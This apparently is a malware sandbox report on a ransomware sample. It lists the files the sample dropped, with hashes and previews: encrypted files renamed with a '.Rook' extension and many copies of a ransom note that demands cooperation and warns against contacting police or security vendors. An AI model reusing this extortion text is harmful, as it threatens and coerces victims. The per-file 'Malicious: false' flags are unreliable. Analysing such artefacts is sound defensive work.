SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Spelling\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-US\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-US\default.acl.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2600
Entropy (8bit):	7.917062847028327
Encrypted:	false
SSDEEP:	48:SD/xINiCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:gxe37Ko4/AAUn5U50+NS43LPuLjv
MD5:	BE56C6DA4719B9CBB08F8B5D5A4FF0F7
SHA1:	C40CC1AA7648D2DA2DDDEAF4820F95A48A952500
SHA-256:	20C2F24298B8922D607DD51385D0053634F34945F46E90A9890FD93D45DFAC3A
SHA-512:	BE2F0ED2B2332944655EE9EE0C28999E2E849F020B409F5CF0C8D1C1EF4E9363DE5A6C60329E0B9ABEFAF3223704243F8873A1AA4C25D4558915231A9F083DCD
Malicious:	false
Preview:	.n%T....y..@..........................fQn....).hX..g...N.O..8%...g...^...z..a.&.....}zzb........mU.N.=<."g......}....qW>.AY...?..%.bG.b^...9=.b\|w..vwv./..v+.h./Z.'L.....#.....6.....=.x&..e..P..h3.1..........PM.t..`-...Pq.}.T.fkW....e.J...^.."ks....._..2..7.`..y..\.i9..M#h...0.Z.~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j).....o..B.V...d

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-US\default.dic.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2600
Entropy (8bit):	7.922887548735125
Encrypted:	false
SSDEEP:	48:6A68F9CxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:B68a7Ko4/AAUn5U50+NS43LPuLjv
MD5:	594C3E2FE4DA99639AB4E69429A42311
SHA1:	79427555C3B7742A73A07E40484EB24EF8FD8AC4
SHA-256:	B34A74ED5F405CCA78625BDABC1FD9F1B3D13906734E720342BD2D60327685D5
SHA-512:	3F77BE6376141ABE9D3D7C54F0CDBA16D5ABB6B03877540E1EF51B86A72D8783114B2EEECB5CB5C83F8EE23B1BB6F37F15E266719D53CC097010A7004BA1861F
Malicious:	false
Preview:	..#.$.{.....SHn.........................-#.YQA...}..o....n..'.:....r.:..?BH.t{.Lp.t.[x3.....~_6U..E.8.P..).,>..v].&.ba..;.H.u ><.....5..K..>.>7.FA..z.2.3...o.Y[....O.).rcl.&@..\|TF.i..p...6..z>.64Cgo&.Y'.8wA..F.3.QQ.9.....f.b.;.Xkp.../...)r.R[.D...-..f.W7 .>........;....YU.S.in.6.W..~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j).....o..B.V...d

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-US\default.exc.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2600
Entropy (8bit):	7.914812950868848
Encrypted:	false
SSDEEP:	48:ofY7PefUCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:ofSA7Ko4/AAUn5U50+NS43LPuLjv
MD5:	CD0DBCF3BA6055E8B48710BB42FBB8E5
SHA1:	A4F5D75FE0AFD4D91BCA65427E27F4F7D6001F36
SHA-256:	9C5242B0024F0E6C9B5D799BA9612643EAB89F3FAA2392DC4DC08D9282F30C09
SHA-512:	60DC8EC531F48F10A46841941E513C5E95B3CE27D7326FD3B35CEAF6663254A0F4CFFBE516CECED369808FE8948D1090760CCEF74806C68AA36C5C97F503FE76
Malicious:	false
Preview:	..8wz...@.1w........................O..(U.....x[....a.?5l......I..\|...+.;._.9aT{.+q...5.`.)^#..3.3Y@.u!..[...!.cD..+D......"o6.,.S.a^n.R.@.e...!y..`.L..2>qG.a.D<..8...Z....M.".Dk.._..IZ;.$(.`.=.......M.IU..r.d....w.N^....M..}..A.B...q.!.6...4r..F.>....9`...<J.....C(.&.K......~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j).....o..B.V...d

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\SystemCertificates\My\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
